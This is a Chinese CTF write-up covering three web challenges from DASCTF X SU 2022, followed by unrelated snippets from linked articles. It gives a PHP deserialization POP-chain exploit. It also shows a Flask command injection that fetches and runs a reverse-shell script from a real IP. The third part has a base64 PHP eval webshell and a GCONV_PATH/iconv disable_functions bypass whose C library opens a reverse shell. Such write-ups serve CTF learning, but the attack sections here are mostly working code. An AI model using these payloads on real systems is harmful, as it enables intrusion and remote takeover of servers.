【Web】2022DASCTF X SU 三月春季挑战赛 题解(全)

devtools/2024/11/15 8:36:28/

目录

ezpop

calc

upgdstore


ezpop

瞪眼看链子

fin#__destruct -> what#__toString -> fin.run() -> crow#__invoke -> fin#__call -> mix.get_flag()

exp

<?php
class crow
{public $v1;public $v2;}class fin
{public $f1;
}class what
{public $a;
}
class mix
{public $m1;}$a=new fin();
$b=new what();
$c=new fin();
$d=new crow();
$e=new fin();
$f=new mix();
$f->m1="?><?php system(\"env\");";
$e->f1=$f;
$d->v1=$e;
$c->f1=$d;
$b->a=$c;
$a->f1=$b;
echo serialize($a);

  payload:

cmd=O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"fin":1:{s:2:"f1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:22:"?><?php system("env");";}}s:2:"v2";N;}}}}

 

calc

直接给到源码

#coding=utf-8
from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory
import random
from urllib import parse
import os
from werkzeug.utils import secure_filename
import timeapp=Flask(__name__)def waf(s):blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']flag = Truefor no in blacklist:if no.lower() in s.lower():flag= Falseprint(no)breakreturn flag@app.route("/")
def index():"欢迎来到SUctf2022"return render_template("index.html")@app.route("/calc",methods=['GET'])
def calc():ip = request.remote_addrnum = request.values.get("num")log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)if waf(num):try:data = eval(num)os.system(log)except:passreturn str(data)else:return "waf!!"if __name__ == "__main__":app.run(host='0.0.0.0',port=5000)  

存在两个命令执行的地方,eval和system,因为waf过于严格,不考虑在eval处利用,可以注释藏恶意代码,用``在system中执行

先在vps上放一个恶意sh文件 

#!/bin/bashbash -c "bash -i >& /dev/tcp/124.222.136.33/1337 0>&1"

 下载恶意sh文件到本地并执行

/calc?num=1%23`wget%09-P%09/tmp/%09124.222.136.33:1338/payload.sh`
/calc?num=1%23`chmod%09777%09/tmp/payload.sh`
/calc?num=1%23`.%09/tmp/payload.sh`

监听,反弹shell,拿到flag 

upgdstore

PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

<?php Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT1iZTFhMmNlMzc0MzAzYTdkYTYwZWVhMzAxYzEwMmIyYy5waHA="));?>

 

 

 这disable_functions让人想自杀,过于严格,甚至连不上蚁剑

 

使用GCONV_PATH与iconv进行bypass disable_functions-CSDN博客 

先修改下上传文件逻辑,把对文件后缀的waf去掉

<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">嘿伙计,传个火?!<input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "/tmp");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);$content = ('file_'.'get_contents')($temp_file);$new_file_name = $file_name;$img_path = UPLOAD_PATH . '/' . $new_file_name;if (move_uploaded_file($temp_file, $img_path)){$is_upload = true;} else {$msg = 'Upload Failed!';die();}echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

base64编码

PGRpdiBjbGFzcz0ibGlnaHQiPjxzcGFuIGNsYXNzPSJnbG93Ij4KPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0icmV0dXJuIGNoZWNrRmlsZSgpIj4KICAgIOWYv+S8me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bG9yOiNGMDAiPicuJG1zZy4iIExvb2sgaGVyZX4gIi4kaW1nX3BhdGguIjwvZGl2PiI7Cn0=

再去base64解码包含一下,即可用到新的上传逻辑

 

成功

 

接下来是重头戏

 

exp.c

#include <stdio.h>
#include <stdlib.h>void gconv() {}void gconv_init() {system("bash -c 'exec bash -i &>/dev/tcp/124.222.136.33/1337 <&1'");
}

gcc exp.c -o exp.so -shared -fPIC

 

gconv-modules

module  EXP//    INTERNAL    ../../../../../../../../tmp/exp    2
module  INTERNAL   EXP//    ../../../../../../../../tmp/exp    2

 

依次上传两个文件

 

再回到写的webshell,putenv一下

1=putenv("GCONV_PATH=/tmp/");include('php://filter/read=convert.iconv.exp.utf-8/resource=/tmp/exp.so');

 

成功反弹shell,提权,拿flag

 


http://www.ppmy.cn/devtools/12812.html

相关文章

Jenkins 打包报错记录 error: index-pack died of signal 15

问题背景&#xff0c;打包每次到92%时就会报错&#xff0c;试了好几次都是同样的错误 14:56:53 fatal: index-pack failed 14:56:53 14:56:53 at org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandIn(CliGitAPIImpl.java:2734) 14:56:53 at org.jenkinsci.plugi…

JavaScript系列------1

1. JavaScript组成 ECMAScript JS 语言基础。比如&#xff1a;变量、分支语句、循环语句、对象等等。 Web APIs DOM(页面文档对象模型): 操作文档&#xff0c;比如对页面元素进行移动、大小、添加删除等操作 BOM(浏览器对象模型): 操作浏览器&#xff0c;比如页面弹窗&#x…

vue 对axios二次封装,配置api层,基于mock测试数据

一、初始化环境&#xff08;默认都会安装vue3项目ts&#xff09; 安装mock&#xff1a;全局安装 # 使用 npm 安装 npm install mockjs vite-plugin-mock # 使用 yarn 安装 yarn add mockjs vite-plugin-mock 二、进行配置 在vite.config.ts中进行配置 import { UserConfigEx…

F检验的步骤

F检验&#xff0c;也称为联合假设检验或方差齐性检验&#xff0c;主要用于检验两个或多个正态随机变量的总体方差是否相等。它还可以用于检验两个以上随机变量平均数差异的显著性。以下是F检验的一般使用步骤&#xff1a; 提出假设&#xff1a;首先&#xff0c;需要建立原假设&…

SpringBoot学习之Kafka下载安装和启动【Windows版本】(三十四)

一、配置Java环境变量 打开CMD输入java -version检查java环境变量是否配置正确,如果配置正确在CMD窗口输入java -version应该输出如下: ​ 怎么配置Java环境变量这里我就不赘叙了,网上教程很多,请读者自行搜索操作。 二、下载Kafka 1、Kafka官网地址:Apache Kafka,…

Next实现 i18n 传递 locales 给 getStaticPaths

在 Next.js 中实现国际化&#xff08;i18n&#xff09;时&#xff0c;可以通过配置 next.config.js 文件来传递 locales 给 getStaticPaths 函数。下面是一个示例代码&#xff0c;演示如何在 next.config.js 中配置 locales&#xff0c;并在 getStaticPaths 中获取并使用这些 …

Linux xfs_growfs命令在 CentOS/RHEL 中扩展 XFS 文件系统

fs_growfs 命令 使用xfs_growfs命令增加 XFS 文件系统的大小。必须挂载 XFS 文件系统&#xff0c;并且底层设备上必须有可用空间。xfs_growfs 实用程序最常用于逻辑卷。xfs_growfs 命令的语法如下&#xff1a; # xfs_growfs [options] mount-point 以下选项可用于 xfs_growf…

基于EasyExcel实现的动态表头工具类

工具类 package net.lesscoding.utils;import cn.hutool.core.bean.BeanUtil; import com.alibaba.excel.EasyExcel; import com.google.common.collect.Lists;import javax.servlet.ServletOutputStream; import javax.servlet.http.HttpServletResponse; import java.io.Uns…